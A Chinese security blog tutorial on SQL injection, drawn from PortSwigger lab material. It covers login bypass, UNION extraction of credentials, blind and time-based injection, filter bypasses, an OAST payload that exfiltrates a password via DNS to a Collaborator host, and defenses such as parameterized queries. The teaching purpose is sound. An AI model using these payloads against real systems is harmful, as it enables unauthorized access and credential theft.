文章总结: 本文系统讲解SQL注入原理与实操,从单引号闭合到UNION注入、盲注等完整攻击链,强调理解语义而非背payload。文章基于PortSwigger教学材料,提供检测方法、实战案例与防御清单,核心结论是参数化查询可有效防御注入,并强调合规测试需授权。
综合评分: 85
文章分类: WEB安全,渗透测试,漏洞分析,安全培训
SQL 注入到底是怎么操作的?
原创
钟智强
钟智强
哪吒网络安全
2026年9月30日 20:01
马来西亚
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
WEB SECURITY LAB · ISSUE 01
SQL 注入到底是怎么操作的?
从一颗单引号,到整张用户表被拖走的完整过程
| | | | |
| — | — | — | — |
| 难度 | 阅读时长 | 配图 | 代码段 |
| 入门 → 进阶 | 约 15 分钟 | 12 张示意图 | 47 段 payload |
原理拆解 手工实操 靶场路线 防御清单 合规声明
本文内容体系参照 PortSwigger Web Security Academy 的 SQL 注入教学主线编写,所有示例均来自其公开教学材料与官方靶场,用于帮助读者理解漏洞原理与防御设计。
本 文 导 航
| | |
| — | — |
| 章节 | 一句话要点 |
| 01 心智模型 | 注入的本质是「数据被当成代码」 |
| 02 第一颗扣子 | 一个单引号如何改写整条 SQL |
| 03 实战一 | 检索隐藏数据与登录绕过 |
| 04 实战二 | UNION 攻击:把别的表拼进结果 |
| 05 实战三 | 侦察数据库:版本 → 表名 → 列名 |
| 06 实战四 | 盲注:用「是 / 否」把数据问出来 |
| 07 实战五 | 时间盲注:用秒表代替眼睛 |
| 08 实战六 | OAST:让数据库主动找你 |
| 09 进阶 | 二阶注入:危险输入会「复活」 |
| 10 方言差异 | 为什么换个数据库 payload 就失效 |
| 11 防御 | 参数化查询为什么能一劳永逸 |
| 12 靶场路线 | 从 Apprentice 到 Expert 的练习顺序 |
图 1:SQL 注入的完整攻击链——输入可控、拼接进 SQL、语法被改写、查询语义变化、响应出现差分、数据被读出
写在前面:别背 payload,要理解语义
绝大多数介绍 SQL 注入的文章,最后都会变成一份 payload 清单:’ OR 1=1–、UNION SELECT、SLEEP(10)……读者背了一堆咒语,换个数据库、换个上下文,立刻失效。
PortSwigger(Burp Suite 的开发商)的 SQL 注入课程之所以被公认为最好的入门材料,恰恰是因为它不教咒语。它的教学主线是一条严密递进的推理链:
·输入是怎么进入 SQL 语句结构的?(语法边界)
·语法被改写后,查询语义发生了什么变化?(布尔逻辑)
·结果看得到时,怎么把别的表的数据一起带出来?(UNION)
·结果看不到时,怎么把数据一个比特一个比特地问出来?(盲注)
·不同数据库的方言差异,会让同一个 payload 失效在哪里?(语法映射)
·最后回到根本:什么样的写法才不会被注入?(参数化)
本文就沿着这条线,把每一步都拆开讲清楚,并配上 12 张示意图。看完你应该能回答一个问题:给我一个输入框,我该怎么一步步判断它能不能注入、能注入到什么程度。
合规 │ 本文所有示例均出自 PortSwigger 官方教学材料与受控靶场,仅用于漏洞原理学习与防御设计。对任何不属于自己的系统进行测试,都必须事先取得明确书面授权;未经授权扫描或利用他人系统,在中国《网络安全法》《刑法》第 285 条等法律框架下均可能构成违法。请只在靶场里练手。
01 心智模型:注入的本质是「数据被当成代码」
PortSwigger 对 SQL 注入的定义是:一种允许攻击者干扰应用程序发往数据库的查询的 Web 安全漏洞。它可以让攻击者读到本不该看到的数据,在一定条件下还能修改删除数据、绕过应用逻辑、提升权限,甚至进一步攻陷后端基础设施。
请注意定义里的关键词——「干扰查询」。注入的本质不是「让页面报错」,而是不可信输入进入了 SQL 的语句结构层,改变了查询的语义。
一个正常的查询里,用户输入应该只作为一个字符串值参与比较:
SELECT * FROMproductsWHEREcategory = ‘Gifts’ANDreleased = 1
这里的 Gifts 是数据,其余部分是指令。但一旦用户输入里出现单引号、注释符、括号或 SQL 关键字,数据就变成了指令的一部分——这就是注入。
注入点不止在 URL
很多人以为注入只发生在地址栏。实际上,任何最终会被拼进 SQL 的位置都算入口:
·URL 查询参数:?category=Gifts、?id=13
·表单字段:登录框、搜索框、筛选条件
·Cookie:比如 TrackingId 被拿去做「老用户识别」
·HTTP 头:User-Agent、X-Forwarded-For(常被写进日志再被查询)
·文件上传内容 / 反序列化字段
·二阶场景:先存进数据库,之后被另一个功能读出来再拼 SQL
唯一可信的判断方法:差分实验
确认注入点的最低标准,是能「可重复地改变查询语义」。所以正确的做法是做对比实验,而不是看到 500 错误就下结论:
·先记录基线:正常输入的响应状态、长度、耗时、页面文案
·改一个变量:加一个引号,看是否异常;再闭合它,看是否恢复
·真假对照:提交等价条件与不等价条件,比较两次响应
·排除干扰:缓存、会话、限流、WAF 拦截都可能造成假阳性
要点 │ 单独一次的报错、延时或被 WAF 拦截,都不能证明存在 SQL 注入。只有当「真条件」和「假条件」产生稳定、可复现的差异时,才构成有效证据。
02 第一颗扣子:一个单引号如何改写 SQL
图 2:原始查询、注入输入、实际执行语句的对照——– 把业务约束整段注释掉
假设某电商站点按类别展示商品,并且只显示已发布的商品(released = 1)。后端语句大致是:
原始语句
SELECT * FROMproductsWHEREcategory = ‘Gifts’ANDreleased = 1
现在攻击者在类别参数里提交这样一个值:
Gifts’–
于是数据库真正执行的是:
SELECT * FROM products WHERE category = ‘Gifts’–‘ AND released = 1
这里发生了两件事:
·单引号 ‘ 提前闭合了原本包住用户输入的那对引号,让后面的内容变成 SQL 代码
·– 是 SQL 的行注释符,它把后面原本的 ‘ AND released = 1 整段注释掉了
结果:用于隐藏未发布商品的业务约束被删除,未发布的商品全部出现在页面上。这就是 PortSwigger 靶场第一关「retrieval of hidden data」的全部原理。
记住 │ 记住这个模型:攻击者的目标从来不是「让语句报错」,而是让报错后的合法语句,恰好表达出一个越权的查询条件。
检测阶段的标准 payload 组合
在不确定的时候,可以按这四组思路做差分测试:
1. 引号异常 → 闭合恢复
Gifts’ 页面异常 / 500
Gifts” 页面恢复正常(两个引号重新配对)
2. 真假条件对照
‘ OR ‘1’=’1 条件恒真 → 返回更多数据
‘ OR ‘1’=’2 条件恒假 → 与基线一致
3. 字符串拼接探测(不同数据库写法不同)
‘||’ab Oracle / PostgreSQL
‘ ‘ab MySQL(两个字符串之间有空格)
‘+’ab MicrosoftSQLServer
4. 时间型探测(真假两条都要测)
‘; SELECTpg_sleep(10)– PostgreSQL
‘; SELECTSLEEP(10)– MySQL
03 实战一:检索隐藏数据 与 登录绕过
理解了引号闭合,第一个实战就非常好懂。
跨类别查看:OR 1=1
如果不想只去掉 released 条件,而是想看所有类别的所有商品,就加一个恒真条件:
https://insecure-website.com/products?category=Gifts’+OR+1=1–
SELECT * FROM products WHERE category = ‘Gifts’ OR 1=1–‘ AND released = 1
因为 1=1 恒真,OR 运算让整个 WHERE 条件恒真,查询返回的范围随之扩大。这里的 OR 1=1 不是什么神秘口令,就是布尔代数在 WHERE 子句里的直接利用。
警告 │ PortSwigger 特别提醒:如果这个参数后续会进入 UPDATE 或 DELETE 语句,同样的 OR 1=1 可能导致全表被更新或删除。所以在真实授权测试中,使用这类 payload 要极其谨慎。
图 3:把 administrator’– 填进用户名字段,密码校验条件被注释掉
登录绕过:把密码校验「注释」掉
假设登录逻辑执行的是这样一条查询,查到记录就算登录成功:
SELECT * FROMusersWHEREusername = ‘wiener’ANDpassword = ‘bluecheese’
攻击者把用户名填成 administrator’–,密码留空,语句变成:
SELECT * FROM users WHERE username = ‘administrator’–‘ AND password = ”
— 之后的内容全部失效,生效的条件只剩 username = ‘administrator’。应用查到了管理员记录,于是直接以管理员身份登录。
把这个思路落到 HTTP 请求上,就是这样:
POST /loginHTTP/1.1
Host: example.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
csrf=8fJ2xK…&username=administrator’–&password=
提示 │ 要向读者澄清一点:这个例子依赖的是一个非常脆弱的模型——明文比较密码、且「查到一条记录」就被直接当作身份验证通过。现实中如果密码用了哈希存储、结果还需二次校验,绕过不会这么直接。
04 实战二:UNION 攻击,把别的表「拼」进来
前面只是让原查询返回更多行。真正的杀伤力来自 UNION——它能为原查询「追加」一段全新的查询结果,从而读取完全不相干的表。
图 4:UNION 像是给原查询挂上另一节车厢,车厢数与装载规格必须一致
UNION 有三条硬规则,缺一不可:
·两条 SELECT 的列数必须相同
·对应列的数据类型必须兼容
·合并后的结果必须能在页面上显示出来(回显)
第一步:数出原查询返回几列
有两种方法,各有适用场景。
图 5:先用 ORDER BY 或 UNION SELECT NULL 定出列数,再逐列找出能显示文本的列
方法 A 是 ORDER BY 递增试探。ORDER BY 可以按「位置」引用列,不需要知道列名,当索引超过实际列数时,数据库会报错或响应发生变化:
‘ ORDERBY1–
‘ ORDERBY2–
‘ ORDERBY3–
‘ ORDER BY 4– ← 报错
方法 B 是 UNION SELECT NULL 递增。NULL 能兼容绝大多数类型,列数对得上时就能正常返回:
‘ UNIONSELECTNULL– 报错
‘ UNIONSELECTNULL,NULL– 报错
‘ UNION SELECT NULL,NULL,NULL– 正常回显
第二步:找出哪一列能显示文本
知道列数之后,逐列放入同一个标记字符串,看哪一列会把值显示出来:
‘ UNION SELECT ‘a’,NULL,NULL– 页面无 ‘a’
‘ UNION SELECT NULL,’a’,NULL– 页面出现 ‘a’ ← 这一列可用
‘ UNION SELECT NULL,NULL,’a’– 页面无 ‘a’
第三步:换成真正想要的字段
‘ UNIONSELECTNULL, username, password, NULLFROMusers–
账号和密码就这样混在商品列表里显示出来了。如果只有一个回显列可用,就把多个字段拼成一个字符串,中间加个分隔符:
‘ UNION SELECT username || ‘~’ || password FROM users– — Oracle
‘ UNION SELECT CONCAT(username, ‘~’, password) FROMusers– — MySQL
页面会显示类似 administrator~s3cure、wiener~peter 这样的结果。
警告 │ 两个最容易翻车的细节:Oracle 的每个 SELECT 都必须带 FROM,所以要写成 ‘ UNION SELECT NULL FROM DUAL–;MySQL 的 — 后面必须跟一个空格,或者直接改用 # 作为注释符。
05 实战三:侦察数据库,从版本到表结构
图 6:类型与版本 → 表名 → 列名 → 数据,顺序不能乱
能 UNION 回显之后,就可以开始系统性地摸清数据库结构了。顺序建议固定为:数据库类型 → 版本 → 表名 → 列名 → 数据。
先判断数据库类型与版本
‘ UNION SELECT @@version– — Microsoft SQL Server / MySQL
‘ UNIONSELECTversion()– — PostgreSQL
‘ UNIONSELECTbannerFROMv$version– — Oracle
再枚举表名与列名
除 Oracle 外,绝大多数数据库都提供 information_schema 这套视图:
SELECT * FROMinformation_schema.tables;
SELECT * FROMinformation_schema.columnsWHEREtable_name = ‘Users’;
Oracle 用自己的数据字典视图,注意对象名通常是大写:
SELECT * FROMall_tables;
SELECT * FROMall_tab_columnsWHEREtable_name = ‘USERS’;
提示 │ 很多新手会直接猜 username、password 这两个字段名。正确做法是先用系统视图把列名查出来,再构造最终查询——这就是为什么侦察顺序必须排在取数之前。
06 实战四:盲注——页面什么都不显示怎么办
盲注并不是数据库没执行你的注入,而是应用既不回显查询结果、也不显示详细错误。这时候要把「读取数据」这件事,翻译成一连串的「是 / 否」问答。
共同模型非常朴素:一次请求 = 一个问题 = 一个比特。
图 7:条件响应、条件错误、时间延迟、OAST 带外——四种把数据「问」出来的方式
① 条件响应(Boolean-based)
假设有个 Cookie 值 TrackingId 被拿去查询,用它来识别老用户并显示「欢迎回来」:
TrackingId=xyz’ AND ‘1’=’1 → 出现「Welcome back」
TrackingId=xyz’ AND ‘1’=’2 → 没有欢迎语
两次响应有稳定差异,说明注入的条件确实进入了查询。接下来把恒真条件换成具体的字符判断:
TrackingId=xyz’ AND (SELECT CASE WHEN (Username = ‘Administrator’
AND SUBSTRING(Password, 1, 1) > ‘m’) THEN 1/0 ELSE ‘a’ END FROM Users)=’a
条件为真时走 1/0 触发除零错误,条件为假时返回 ‘a’。于是「报错 = 真、正常 = 假」,这就是典型的条件错误(Error-based)信号编码。
② 条件错误(Error-based)
使用之前必须先确认一件事:哪个分支对应「真」。不同应用的错误表现不同,一定要先用 ‘1’=’1 和 ‘1’=’2 校准,再开始逐位推断。
③ 可见报错:让错误信息帮你带数据
如果应用会显示数据库错误,还能把数据直接塞进错误消息里。比如 PostgreSQL 中把字符串强转成整数:
SELECTCAST((SELECTpasswordFROMusersLIMIT1) ASint)
数据库会报:invalid input syntax for type integer: “secret” —— 秘密就这样出现在错误提示里。
要点 │ 这是教学靶场中刻意保留的错误回显,用于理解原理。实战中不应依赖报错,更不该在生产环境开放详细错误信息——对防御方来说,错误信息通用化是必须做的。
④ 逐位推断:用二分法把整串密码拼出来
有了稳定的真假信号,剩下的就是体力活:对每一位字符反复二分。先问「第 1 位是否 > ‘m’」,再问「是否 > ‘f’」……大约 5~7 次请求就能确定一个字符,一个 20 位的密码需要一百多次请求。这也是为什么盲注通常需要自动化脚本配合。
07 实战五:时间盲注,用秒表代替眼睛
图 8:真条件让数据库睡眠,假条件立即返回,用响应时间判断条件真假
当错误被吞掉、页面差异又不明显时,可以让数据库「睡一会儿」来传递信号。SQL Server 的写法是:
‘; IF (1=2) WAITFOR DELAY ‘0:0:10’– 不延时
‘; IF (1=1) WAITFOR DELAY ‘0:0:10’– 延时 10 秒
把它换成真正的密码判断:
‘; IF (SELECT COUNT(Username) FROM Users WHERE Username=’Administrator’
AND SUBSTRING(Password,1,1) > ‘m’) = 1 WAITFOR DELAY ‘0:0:10’–
因为查询是同步执行的,HTTP 响应时间就直接反映了条件的真假。
警告 │ 时间盲注最容易误判。必须先测基线耗时,同一条件重复 3~5 次取中位数,并且真假两条分支都要测——只测一次 10 秒就下结论,很可能把网络抖动当成注入。
08 实战六:OAST,让数据库主动「打电话」给你
图 9:页面毫无变化,但你的服务器收到了数据库发起的 DNS 查询
OAST(带外应用安全测试)适用于其他盲注技术都不奏效的场景,而且它有一个巨大优势:可以直接把数据经带外通道传出来。DNS 通常是生产网络默认放行的协议,因此比 HTTP 回调更容易被观察到。
SQL Server 上的触发方式(借助 xp_dirtree 发起 UNC 路径解析):
‘; exec master..xp_dirtree ‘//<随机子域>.burpcollaborator.net/a’–
如果 Burp Collaborator 收到了 DNS 查询,就证明 payload 被执行了。下一步是把查询结果拼进域名里,直接把数据「寄」出来:
‘; declare @pvarchar(1024);
set @p=(SELECTpasswordFROMusersWHEREusername=’Administrator’);
exec(‘master..xp_dirtree “//’+@p+’.<你的域名>.burpcollaborator.net/a”‘)–
随后你在 Collaborator 面板里会看到一条 S3cure.<你的域名>.burpcollaborator.net 的查询记录——密码就这样被带出来了。
要点 │ 这类攻击是异步的:HTTP 响应可能完全正常,证据却出现在另一个服务端。同时,文件读取、命令执行这类能力通常还受数据库账户权限、安全策略和文件系统权限的共同限制。
09 进阶:二阶注入——危险输入会「复活」
图 10:写入时是安全的,从数据库读出来再次拼进 SQL 时才爆发
一阶注入是输入直接进 SQL;二阶注入则是输入先被安全地存进数据库,之后被另一个功能读出来,再次以不安全的方式拼进 SQL。
关键在于:存入时可能经过了转义或参数化,看起来没有漏洞;但读取端误以为「数据库里的数据 = 可信的内部数据」,于是放松了警惕。
— 第一步(存储):安全写入
用户输入 → 经参数化/转义 → 存入 users.display_name
— 第二步(读取):漏洞爆发
SELECT * FROM orders WHERE user = ‘<从数据库读出的 display_name>‘ AND status=’open’
记住 │ 防御边界必须按「每一次 SQL 拼接点」计算,而不是按「数据来自外部还是数据库」计算。数据不是洗干净一次就永远干净——它每次离开代码进入 SQL 之前,都要重新被当作不可信数据。
10 为什么你的 payload 换个数据库就失效了
这是中文教程最容易误导人的地方:让人以为 ‘ OR 1=1– 在哪里都通用。事实是,注释符要不要空格、字符串怎么拼接、能不能堆叠语句、SELECT 要不要 FROM,全都取决于具体的 SQL 方言。
| | | | | |
| — | — | — | — | — |
| 语法目标 | Oracle | Microsoft SQL Server | PostgreSQL | MySQL |
| 字符串拼接 | ‘foo’||’bar’ | ‘foo’+’bar’ | ‘foo’||’bar’ | ‘foo’ ‘bar’ / CONCAT() |
| 注释符 | — | — /* */ | — /* */ | # — (后需空格) /* */ |
| 版本查询 | banner FROM v$version | SELECT @@version | SELECT version() | SELECT @@version |
| 条件错误 | CASE WHEN … THEN TO_CHAR(1/0) | CASE WHEN … THEN 1/0 | 1=(CASE WHEN … 1/(SELECT 0)) | SELECT IF(…, (SELECT …), ‘a’) |
| 无条件延时 | dbms_pipe.receive_message((‘a’),10) | WAITFOR DELAY ‘0:0:10’ | SELECT pg_sleep(10) | SELECT SLEEP(10) |
| 条件延时 | 条件触发 receive_message | IF 条件 WAITFOR DELAY ‘0:0:10’ | CASE WHEN … pg_sleep(10) | SELECT IF(条件, SLEEP(10), ‘a’) |
| 系统表 | all_tables / all_tab_columns | information_schema.tables | information_schema.tables | information_schema.tables |
| SELECT 需 FROM | 是(用 DUAL) | 否 | 否 | 否 |
表 1:PortSwigger SQL injection cheat sheet 中的跨数据库语法对照。
另外还有一类常见的「绕过」思路,本质上是利用应用层与数据库层的解析器差异:
·SQL 关键字不区分大小写:SELECT 可以写成 SeLeCT
·用内联注释代替空格:SELECT/**/username/**/FROM/**/users
·MySQL 版本化注释:/*!SELECT*/
·URL 双重编码、XML 编码绕过输入过滤
警告 │ 这些不是对任意 WAF 都有效的万能绕过,只用于演示不同解析器之间的差异。请勿把它们等同于对现实系统的可利用性判断。
11 防御:为什么参数化查询能一劳永逸
图 11:参数化先固定语句结构,再绑定数据,畸形输入无法改写语法树
PortSwigger 把参数化查询(prepared statements)列为最有效的防护方式,原因是它的执行顺序从根本上杜绝了语义改写:
·第一步:定义查询结构,用占位符 ? 表示将来要填入的数据
·第二步:把实际值以类型化的方式绑定到占位符上
因为语句结构在第一步就已经固定,第二步送进来的畸形数据,无论长什么样,都只会被当作一个值,永远不可能变成新的 SQL 条件。
// ✕ 错误:字符串拼接
Stringsql = “SELECT * FROM products WHERE category = ‘” + input + “‘”;
// ✓ 正确:参数化查询
PreparedStatementst = conn.prepareStatement(
“SELECT * FROM products WHERE category = ?”);
st.setString(1, input);
第二种写法下,即使 input 是 Gifts’ OR 1=1–,它也只会被当作 category 的一个值去匹配,查不到任何商品,攻击自然失败。
参数化管不到的四个位置
占位符只能替换「标量值」。下面这些位置不是值,而是 SQL 的标识符或语法成分,无法参数化,必须改用白名单映射:
| | | |
| — | — | — |
| 无法参数化的位置 | 风险 | 正确做法 |
| ORDER BY 排序字段 | 注入 UNION / 子查询 | sort=name 固定映射为 ORDER BY username |
| 表名 / 列名 | 任意查询其他表 | 服务端枚举白名单,禁止直传 |
| ASC / DESC 方向 | 拼接恶意表达式 | 只允许两个固定取值 |
| LIMIT / OFFSET 分页 | 数字型注入 | 强制转型为整数并限定范围 |
表 2:参数化覆盖不到的位置与对应的白名单方案。
一份完整的防御清单
·所有可变标量值统一使用参数化查询,这是第一道也是最重要的一道
·所有 SQL 标识符(表名、列名、排序方向)使用白名单或服务端映射
·数据库账户遵循最小权限原则:应用账号不该有 DROP、文件读写、命令执行权限
·错误信息通用化,不要把查询语句、栈轨迹或类型转换细节暴露给客户端
·使用 ORM 也要检查是否误用了原生查询接口——ORM 只是工具,拼接点仍在调用方
·对从数据库读回的数据,同样保持不信任(防止二阶注入)
·上线前用扫描器覆盖入口,再用人工差分请求验证,避免误报
要点 │ 转义不是参数化的等价替代:数字型上下文可能根本没有引号可转,二阶注入还可能把已转义的字符恢复原样。存储过程也不天然免疫——只要它内部继续拼接动态 SQL,照样会产生注入。
12 照着这条线练:靶场路线图
图 12:从 Apprentice 到 Expert 的五关练习顺序
PortSwigger Web Security Academy 的 SQL 注入主题目前提供 30 个 Lab,全部在受控靶场内,免费且合法。建议按下面这条线刷:
| | | | |
| — | — | — | — |
| 关卡 | 代表性 Lab | 对应知识点 | 难度 |
| 1 | retrieval of hidden data | 引号闭合、注释截断 | Apprentice |
| 1 | login bypass | 登录查询、注释掉密码条件 | Apprentice |
| 2 | determining the number of columns | ORDER BY / NULL 列数判断 | Apprentice |
| 2 | finding a column containing text | 逐列定位可显示文本的列 | Apprentice |
| 2 | retrieving data from other tables | 跨表 UNION 取数 | Apprentice |
| 2 | retrieving multiple values in a single column | 单列拼接多字段 | Apprentice |
| 3 | querying the database type and version (Oracle) | DUAL、v$version | Practitioner |
| 3 | querying the database type and version (MySQL/MSSQL) | @@version 方言差异 | Practitioner |
| 3 | listing the database contents on non-Oracle | information_schema 枚举 | Practitioner |
| 3 | listing the database contents on Oracle | all_tables / all_tab_columns | Practitioner |
| 4 | Blind SQL injection with conditional responses | 欢迎语差分、逐位推断 | Practitioner |
| 4 | Blind SQL injection with conditional errors | CASE WHEN 条件除零 | Practitioner |
| 4 | Visible error-based SQL injection | CAST 错误消息带出数据 | Practitioner |
| 4 | Blind SQL injection with time delays | 条件时间延迟 | Practitioner |
| 5 | filter bypass via XML encoding | XML 编码绕过输入过滤 | Practitioner |
| 5 | Blind SQL injection with out-of-band (OAST) | DNS/HTTP 带外探测与外传 | Expert |
| 5 | 二阶注入 + 条件响应 | 持久化后再次拼接触发 | Expert |
表 3:按学习顺序整理的代表性 Lab 清单(官方共 30 个)。
提示 │ 练习时请务必保留四样东西:原始查询、注入输入、实际执行的语句、观察到的响应信号。只背 payload,换一个数据库就会失效;记下这四样,你才真正掌握了一套可迁移的方法。
写在最后
回过头看,SQL 注入的全部秘密其实只有一句话:只要用户可控的数据能被拼进 SQL 的命令结构,攻击者就可能改变查询语义。
由这一句话,才推导出后面所有的技术分支——结果能回显就用 UNION,不能回显就靠条件响应、条件错误、时间延迟或 OAST 一个比特一个比特地问;数据库方言不同就换一套语法;最后回到根本,用参数化把结构和数据彻底分离。
对开发者来说,最值得记住的不是任何一个 payload,而是这一条架构原则:查询模板与数据分离。把它写进团队的代码规范,比任何 WAF 都有效。
合规 │ 请只在获得明确授权的环境或官方靶场中练习本文内容。未经授权对他人系统进行测试或利用,可能触犯《网络安全法》《数据安全法》以及《刑法》第 285 条等相关法律规定。技术本身中立,使用方式决定它的性质。
参考资料
· PortSwigger · SQL injection 主线课程 https://portswigger.net/web-security/sql-injection
· PortSwigger · SQL injection cheat sheet https://portswigger.net/web-security/sql-injection/cheat-sheet
· PortSwigger · UNION attacks https://portswigger.net/web-security/sql-injection/union-attacks
· PortSwigger · Examining the database https://portswigger.net/web-security/sql-injection/examining-the-database
· PortSwigger · Blind SQL injection https://portswigger.net/web-security/sql-injection/blind
— 全 文 完 —
UNION 跨表取数 四类盲注 OAST 带外 二阶注入 参数化查询 )
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哪吒网络安全 钟智强
钟智强《SQL 注入到底是怎么操作的?》